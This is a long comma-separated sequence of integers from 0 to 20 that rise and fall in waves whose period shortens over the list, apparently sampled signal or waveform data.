8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 7, 7, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 11, 11, 11, 10, 10, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 14, 14, 14, 13, 13, 12, 12, 12, 11, 11, 10, 10, 9, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 8, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 8, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 15, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 4, 4, 4, 5, 5, 6, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 9, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 8, 8, 7, 7, 6, 6, 5, 4, 4, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 13, 13, 14, 14, 15, 16, 16, 17, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 12, 12, 11, 10, 10, 9, 8, 8, 7, 7, 6, 5, 5, 4, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 3, 3, 4, 4, 5, 6, 6, 7, 7, 8, 9, 9, 10, 10, 11, 11, 12, 13, 13, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 13, 13, 12, 11, 11, 10, 9, 9, 8, 7, 7, 6, 5, 5, 4, 4, 3, 3, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 6, 6, 7, 8, 8, 9, 10, 10, 10, 11, 11, 12, 13, 14, 14, 15, 15, 16, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 17, 17, 16, 16, 15, 14, 14, 13, 12, 12, 11, 10, 9, 9, 8, 7, 7, 6, 5, 5, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 7, 8, 9, 10, 10, 11, 12, 12, 13, 14, 14, 15, 16, 16, 17, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 16, 15, 14, 14, 13, 12, 11, 11, 10, 9, 8, 8, 7, 6, 5, 5, 4, 4, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7, 7, 8, 9, 10, 10, 10, 11, 12, 12, 13, 14, 15, 15, 16, 17, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 16, 16, 15, 14, 14, 13, 12, 11, 10, 10, 9, 8, 7, 6, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 5, 5, 6, 7, 8, 8, 9, 10, 10, 11, 12, 13, 13, 14, 15, 16, 16, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 15, 14, 14, 13, 12, 11, 10, 9, 9, 8, 7, 6, 5, 5, 4, 3, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 5, 5, 6, 7, 8, 9, 9, 10, 10, 11, 12, 13, 14, 14, 15, 16, 17, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 16, 15, 15, 14, 13, 12, 11, 10, 9, 8, 8, 7, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 4, 5, 6, 7, 8, 8, 9, 10, 10, 11, 12, 13, 14, 15, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 8, 7, 6, 5, 4, 3, 3, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 5, 6, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 17, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 16, 15, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 17, 17, 16, 15, 14, 13, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 8, 7, 6, 5, 4, 3, 2, 2, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 